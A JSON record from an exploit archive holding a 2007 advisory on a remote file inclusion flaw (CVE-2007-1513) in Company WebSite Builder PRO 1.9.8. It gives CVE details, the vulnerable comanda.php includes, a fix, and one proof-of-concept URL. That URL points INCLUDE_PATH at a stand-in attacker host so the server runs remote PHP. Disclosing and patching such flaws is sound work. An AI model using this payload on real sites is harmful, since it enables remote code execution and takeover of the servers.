{"exploit":{"id":"EDB-3485","name":"Company WebSite Builder PRO 1.9.8 - 'INCLUDE_PATH' Remote File Inclusion (RFI)","description":"Company WebSite Builder PRO 1.9.8 - 'INCLUDE_PATH' Remote File Inclusion (RFI)","cves":["CVE-2007-1513"],"author":"the_day","published":"2007-03-15","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3485","path":"exploits/php/webapps/3485.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3485.txt","vulnerabilities":[{"id":"CVE-2007-1513","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in comanda.php in GraFX Company WebSite Builder (CWB) PRO 1.9.8, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the INCLUDE_PATH parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1513","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1513"},"updatedAt":"2024-08-07T12:59:08.584Z","retrievedAt":"2026-11-26T14:11:59.979Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3485.png?v=2","url":"https://exploitbin.com/exploits/EDB-3485","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3485/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3485/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"____________________   ___ ___ ________\n\\_   _____/\\_   ___ \\ /   |   \\\\_____  \\\n |    __)_ /    \\  \\//    ~    \\/   |   \\\n |        \\\\     \\___\\    Y    /    |    \\\n/_______  / \\______  /\\___|_  /\\_______  /\n       \\/         \\/       \\/         \\/                              .OR.ID\nECHO_ADV_76$2007\n\n--------------------------------------------------------------------------------------------\n[ECHO_ADV_76$2007] Company WebSite Builder PRO (INCLUDE_PATH) Remote File Inclusion Vulnerability\n--------------------------------------------- ----------------------------------------------\n\nAuthor          : Dedi Dwianto a.k.a the_day\nDate Found      : March, 15th 2007\nLocation        : Indonesia, Jakarta\nweb             : http://advisories.echo.or.id/adv/adv76-theday-2007.txt\nCritical Lvl    : Highly critical\nImpact          : System access\nWhere           : From Remote\n---------------------------------------------------------------------------\n\nAffected software description:\n~~~~~~~~~~~~~~~~~~~~~~~\n\nApplication     : Company WebSite Builder PRO ( CWB )\nversion         : 1.9.8\nURL             : http://www.grafxsoftware.com/\n\nThis software makes it easy to build an e-commerce site that processes credit cards,\nwire transfers. This is a great Content Management System that's easy to install and use WITHOUT having\nto FTP upload pages every time they need to be updated.\n---------------------------------------------------------------------------\n\nVulnerability:\n~~~~~~~~~\n\n- Invalid include function at comanda.php\n-----------------------comanda.php------------\n\n<?\n...\ninclude($INCLUDE_LANGUAGE_PATH.\"$LANG.inc.php\");\ninclude($INCLUDE_PATH.\"connection.php\");\ninclude_once($INCLUDE_PATH.\"connection.php\");\ninclude_once($INCLUDE_PATH.\"cls_produs.php\");\ninclude_once($INCLUDE_PATH.\"cls_left_menu.php\");\ninclude_once($INCLUDE_PATH.\"cls_stire.php\");\ninclude_once($INCLUDE_PATH.\"cls_orders.php\");\ninclude_once($INCLUDE_PATH.\"cls_headline_prod.php\");\ninclude_once($INCLUDE_PATH.\"cls_checkout.php\");\ninclude_once(\"cls_download_products.php\");\n....\n?>\n----------------------------------------------------------\n\nInput passed to the \"$INCLUDE_PATH\" parameter in comanda.php is not\nproperly verified before being used. This can be exploited to execute\narbitrary PHP code by including files from local or external\nresources.\n\n\n\nProof Of Concept:\n~~~~~~~~~~\n\nhttp://localhost/cwb/comanda.php?INCLUDE_PATH=http://atacker.com/inject.txt?\n\n\nSolution:\n~~\n\n- Sanitize variable $INCLUDE_PATH affected files.\n- Turn off register_globals\n\n---------------------------------------------------------------------------\n\nShoutz:\n~\n~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous\n~ Jessy Nice Girl\n~ az001,bomm_3x,matdhule\n~ newbie_hacker@yahoogroups.com\n~ #aikmel - #e-c-h-o @irc.dal.net\n------------------------------------------------------------------------\n---\nContact:\n~\n    EcHo Research & Development Center\n    http://advisories.echo.or.id\n    erdc[at]echo[dot]or[dot]id\n    the_day[at]echo[dot]or[dot]id\n\n# milw0rm.com [2007-03-15]","sha256":"8e1968fc7f08c676f0d4b736210276c62bf5d3e0a64c880bbaec888dbe790cf7","bytes":3043,"fetchedAt":"2026-11-26T14:11:51.474Z","encoding":"utf-8 (display only; download retains original bytes)"}